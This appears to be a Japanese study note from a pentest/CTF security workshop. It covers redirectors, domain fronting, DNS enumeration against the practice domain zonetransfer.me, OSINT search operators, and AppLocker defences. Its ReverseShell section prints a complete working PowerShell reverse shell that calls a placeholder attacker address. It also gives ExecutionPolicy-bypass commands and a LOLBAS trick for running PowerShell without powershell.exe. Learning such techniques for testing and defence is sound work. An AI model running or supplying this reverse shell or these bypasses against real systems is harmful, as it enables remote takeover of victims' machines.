# 浪速セキュリティnote
12/29(日)に開催された浪速セキュリティ勉強会#04 #05:ペンテストCTFで学ぶサイバーセキュリティ(12月29日) (opens new window)に参加した際のarchive
# 基礎知識
- 今回は実際に攻撃するまでの偵察がメイン
nc -lvnp 80
でlisten
# redirector
- targetとattackerの間に配置して, targetと直接通信するサーバ
- これ自身を調べても本体はいない
- 自分たちの安全を保証するために挟むのが一般的
- ペンテストやレッドチームもこういったところまでやる必要がある
- 目的
- 自分たちをtargetから隠す
- redirectorをtakedownされても別のredirectorを立てればよい
# DNSの調査
# domain fronting
- HTTPS接続のドメインを難読化(解析困難化)することによってインターネットの検閲やブロッキングを回避する手法
- 例えば、CDNのサーバーにリフレクションサーバーを紛れ込ます手法などかある
- 最近はreputationで判断しているので, false positiveがある
# DNSの調査(DNS Enumeration)
targetのname serverの探索
zonetransfer.meは脆弱なやられサーバ的な感じ
nsレコードをもらってくる
host -t ns {targetip}
~# host -t ns zonetransfer.me
zonetransfer.me name server nsztm1.digi.ninja.
zonetransfer.me name server nsztm2.digi.ninja.
- mxレコードをもらってくる
host -t mx {targetip}
# host -t mx zonetransfer.me
zonetransfer.me mail is handled by 0 ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 10 ALT2.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX4.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 10 ALT1.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX5.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX3.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX2.GOOGLEMAIL.COM.
- 相手はメールをgmailの管理サーバを使っていることがわかる
- -> 標的型攻撃をする場合, googleの持っている機能はscanされてしまうこともわかる
- -> malwareを作って添付しても, そもそも相手に着弾しない可能性がある
- -> 着弾するかしないかは, 自分でgoogleのメールサーバを使って確認することができる
- これは他のメールサービスでも同様
# DNS Lookup
- 存在しそうなホスト名にDNSパケットを飛ばして確認する手法
for name in $(cat /usr/share/dnsenum/dns.txt); do
host ${name}. zonetransfer.me | grep "has address" | cut -d " " -f 1,4
done
# Reverse DNS Lookup
- 1つ存在しているホスト名を見つけ, 存在しているホスト名の近くを使っていると想定して上でBruteForceを試す手法
- 192.168.33.{brute force}
# DNS Zone Transfer
- ゾーン転送情報取得を用いて確認する手法
- dig axfr @... addr
# 内部のサーバのレコードを見る
- サーバ証明書を発行した時に発行した旨をDBに蓄積する
- これが改ざんされていないかを確認する仕組みがある
- このログサーバは公開されている
- 内部のサーバレコードが見れる
- 命名から中身が想定できる
- findomain (opens new window)
# RedirectorとRedirectの違い
- redirectorは直接通信する
- redirectは挟んで通信するので遮断される可能性がある
# OSINT
# Google Search Operator
- GoogleGuide making searching even easier (opens new window)
- 空白はOR
-
は除外site:
filetype:
filetype:pdf
が便利
# Twitter Search Operators
- Rules and filtering (opens new window)
geocode: 緯度,経度,距離km
- google hacking database (opens new window)
- 社内向け資料に連絡先があるなど
# ReverseShell
# PowerShell
- PowerShellでファイルを実行するにはExecutionPolicyを設定し直す必要がある
Set-ExecutionPolicy bypass`
start-process calc.exe
powershell.exe -executionpolicy bypass gen_calc.ps1
- ReverseShell用のCSharpCode
$client = New-Object System.Net.Sockets.TCPClient("attackerAddress",443);
$stream =$client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback =(iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
# PowerShell without powershell.exe
- SyncAppvは仮想化モジュールの一部
- powershellのコマンドを受け付ける
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; start-process calc.exe"
- これでcalc.exeが立ち上がる
- lolbas(Living Off The Land Binaries and Scripts)
- 現地調達型バイナリ(実行ファイル)
- Web: Living Off The Land Binaries and Scripts (and also Libraries) (opens new window)
- GitHub (opens new window)
- ここで対象になっている107個のアプリケーションはチェック対象にすることが求められる
# Restricting PowerShell
- applocker
- ブラックリスト管理をするのが良い
- 最初に全て許可してからダメなものをブラックリストに入れる
- apploockerのbypass
- powershellを動かせる
- 対策として, InstallUtil.exeをapplockerに入れる
- その際に, 過去の実行ログをみて, 使われていない場合は良いかもしれない
- だいたい使われているので, それらを使っているcallerをホワイトリスト管理するとよい